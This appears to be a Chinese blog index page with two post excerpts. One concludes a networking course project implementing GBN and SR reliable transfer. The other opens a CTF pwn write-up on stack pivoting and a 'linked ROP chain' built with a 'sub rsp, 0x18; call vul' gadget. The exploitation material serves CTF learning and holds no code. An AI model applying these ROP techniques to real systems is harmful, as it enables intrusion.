不论是sr客户端与服务器,还是gbn客户端与服务器,都使用该脚本,在丢包率非0的条件下(gbn使用20%测试,sr由于赶ddl原因使用5%测试,高丢包率环境下也测试过没问题)跑过了超过200轮的测试连续正确。

总结

一开始尝试在助教提供的实例代码上修改来做实验,但越改越复杂。由于sender和receiver是两个不同的类,因此一些函数复用起来非常烦,有的函数必须要写两遍。

因此我全都推倒重来,除了一些基础的函数以及思路的借鉴外,别的东西全都重新写。尤其是wait函数的复用,自认为比较简洁地实现了我的socket的全双工。

写完后,我对于rdt(以及TCP)的理解确实变得更深了,收获不错。虽然期末季很忙,不过还是抽了时间完成了这个PJ,幸苦自己了hhhh。

当溢出长度过短无法完成完整的ROP时,一般会想到stack pivot,也就是在某个固定的、可控的地址处提前布置好ROP链,然后通过 leave; ret 或是 xchg eax, esp 等方法完成栈迁移。
但在本题中,我们没有机会往已知地址写入数据,溢出大小又有限制。官方给出的方法是:通过 sub rsp, 0x18; call vul 这个非常规gadget,将提前布置好的ROP chain放在栈的高位,从而完成ROP chain的链接,我管它叫linked ROP chain。

比赛时和前辈两人看这题看了几个小时,找gadget找了很久也没做出来。比赛结束后发现了两个版本的做法,分别是官方的Chovid99师傅的的。官方的做法比较一般,并且和我们比赛时的思路完全一致(只是我们傻了没发现那个关键gadget),因此本文主要分析官方的做法。

Read more »